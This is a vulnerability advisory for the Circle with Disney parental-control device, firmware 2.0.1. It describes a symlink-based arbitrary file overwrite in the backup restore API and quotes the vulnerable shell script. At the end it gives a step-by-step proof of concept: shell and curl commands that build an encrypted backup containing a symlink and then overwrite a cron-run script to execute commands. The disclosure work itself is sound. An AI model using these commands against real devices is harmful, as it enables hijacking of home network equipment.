### SummaryAn exploitable vulnerability exists in the /api/CONFIG/restore functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause an arbitrary file to be overwritten. An attacker can send an HTTP request trigger this vulnerability.### Tested VersionsCircle with Disney 2.0.1### Product URLshttps://meetcircle.com/### CVSSv3 Score9.9 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H### CWECWE-59: Improper Link Resolution Before File Access ('Link Following')### DetailsCircle with Disney is a network device used to monitor internet use of children on a given network.Circle allows for backing up and restoring configuration backups using API commands. Backups can be performed using the command "/api/CONFIG/backup", which will return an encrypted archive. Encryption is performed using the `aescrypt` binary and the password used is the one extracted from the `appid` parameter of the API command. Before encryption, the backup binary is a gzipped tar archive with the following contents:“`configure.xmlbackup.versionphotos/photos/user.0.photophotos/user.1.photo…“`The archive contains a copy of "configure.xml", the "backup.version" file to ensure compatibility, and a "photos" directory containing profile's photos.Vulnerable code exists in the "/api/CONFIG/restore" command, which executes the script "/mnt/shares/usr/bin/scripts/restorebackup.sh". This command must be invoked using a POST request and needs 3 parameters: a valid token, an appid (decryption key) and the encrypted configuration binary. The handler in the apid binary will receive the restore request and call "restorebackup.sh":“`/mnt/shares/usr/bin/scripts/restore_backup.sh /tmp/postfile.bin appid 66“`where "postfile.bin" is the encrypted binary and "appid" is taken from the request. Contents of "restore_backup.sh" are shown below:“`#!/bin/shif [ $# != 3 ] ; then echo "restore_backup.sh <filename> <password> <max profiles>" exit 1fiCIRCLE_ROOT=`cat /tmp/CIRCLE_ROOT`CIRCLE_BASE=`cat /tmp/CIRCLE_BASE`#clear out any existing old backup filesrm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup//tmp/aescrypt -d -p $2 -o $CIRCLE_ROOT/backup.tgz $1 # [1]if [ ! -s $CIRCLE_ROOT/backup.tgz ] ; then echo "failed to decrypt backup" exit 1fimkdir -p $CIRCLE_ROOT/backuptar -C $CIRCLE_ROOT/backup/ -xzf $CIRCLE_ROOT/backup.tgz # [2]if [ ! -s $CIRCLE_ROOT/backup/configure.xml -o ! -d $CIRCLE_ROOT/backup/photos ] ; then echo "missing files in backup" rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/ exit 1ficheck_failed=0#check to make sure current version >= backup versionif [ -s $CIRCLE_ROOT/backup/backup.version ] ; then v_current=`cat $CIRCLE_BASE/VERSION | cut -f 1 -d -` v_backup=`cat $CIRCLE_ROOT/backup/backup.version | cut -f 1 -d -` if [ "$v_current" \< "$v_backup" ] ; then echo "restore failed: current version less than backup version" check_failed=2 fifi#check to make sure number of profiles <= max number of profilesnum_profiles=`grep -o "<user pid=" $CIRCLE_ROOT/backup/configure.xml | wc -l`if [ $num_profiles -gt $3 ] ; then echo "restore failed: too many profiles in backup" check_failed=3fi#simple checks on configure.xmlgrep -q "<config>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1grep -q "<wifi>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1grep -q "<overall>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1grep -q "<users>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1grep -q "<devices>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1grep -q "<contact>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1if [ $check_failed -gt 0 ] ; then echo "bad configuration file" rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/ exit $check_failedfi#replace configure.xml and photos/ with backupscp -f $CIRCLE_ROOT/backup/configure.xml $CIRCLE_ROOT/configure.xmlrm -rf $CIRCLE_ROOT/photos/cp -rf $CIRCLE_ROOT/backup/photos/ $CIRCLE_ROOT/photos/ # [3]rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/#clear out old tracking filesrm -rf $CIRCLE_ROOT/tracking/*echo "configuration restored from backup"exit 0“`Note that the value of "CIRCLE_ROOT" is "/mnt/shares/usr/bin/". At [1] the binary is decrypted and at [2] it's extracted in "/mnt/shares/usr/bin/backup". After a few checks files are copied from the temporary backup directory to their real destinations. In particular at [3] all the files contained in the "photos" directory will be copied to "/mnt/shares/usr/bin/photos".No restrictions are in place on the contents of the "photos" directory: an attacker may include a symbolic link to any file in the system which might cause future operations to have an unexpected behavior.Indeed, this would allow an attacker to overwrite any file in the system. Consider the following symbolic link is copied to "photos/":“`user.123.photo -> /mnt/shares/usr/bin/scripts/check_system_time.sh“`An attacker, using the API command "/api/UPDATE/users/user/photo" can overwrite the photo for user with pid 123, which will in turn overwrite the file "checksystemtime.sh" with arbitrary data.### Timeline* 2017-08-29 – Vendor Disclosure* 2017-10-31 – Public Release
The following proof of concept shows how to run an arbitrary command on the device, in this case the script power_down.sh is executed.– create backup binary$ sAppid="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"$ tree backupbackup├── backup.version├── configure.xml└── photos └── user.123.photo -> /mnt/shares/usr/bin/scripts/check_system_time.sh$ tar -C backup -cvzf backup.tgz configure.xml photos backup.version$ aescrypt -e -p $sAppid -o backup.bin backup.tgz– send binary for config restore$ sCmd="/mnt/shares/usr/bin/scripts/circle/power_down.sh"$ curl -k "https://${sIP}:4567/api/CONFIG/restore" -F "token=${sToken}" -F "appid=${sAppid}" -F "upload=@backup.bin"– wait for the device to reboot– overwrite "check_system_time.sh"$ curl -k "https://${sIP}:4567/api/UPDATE/users/user/photo" –data "token=${sToken}&user.pid=123&photo=${sCmd}"– in 2 minutes, "check_system_time.sh" will be executed by a cronjob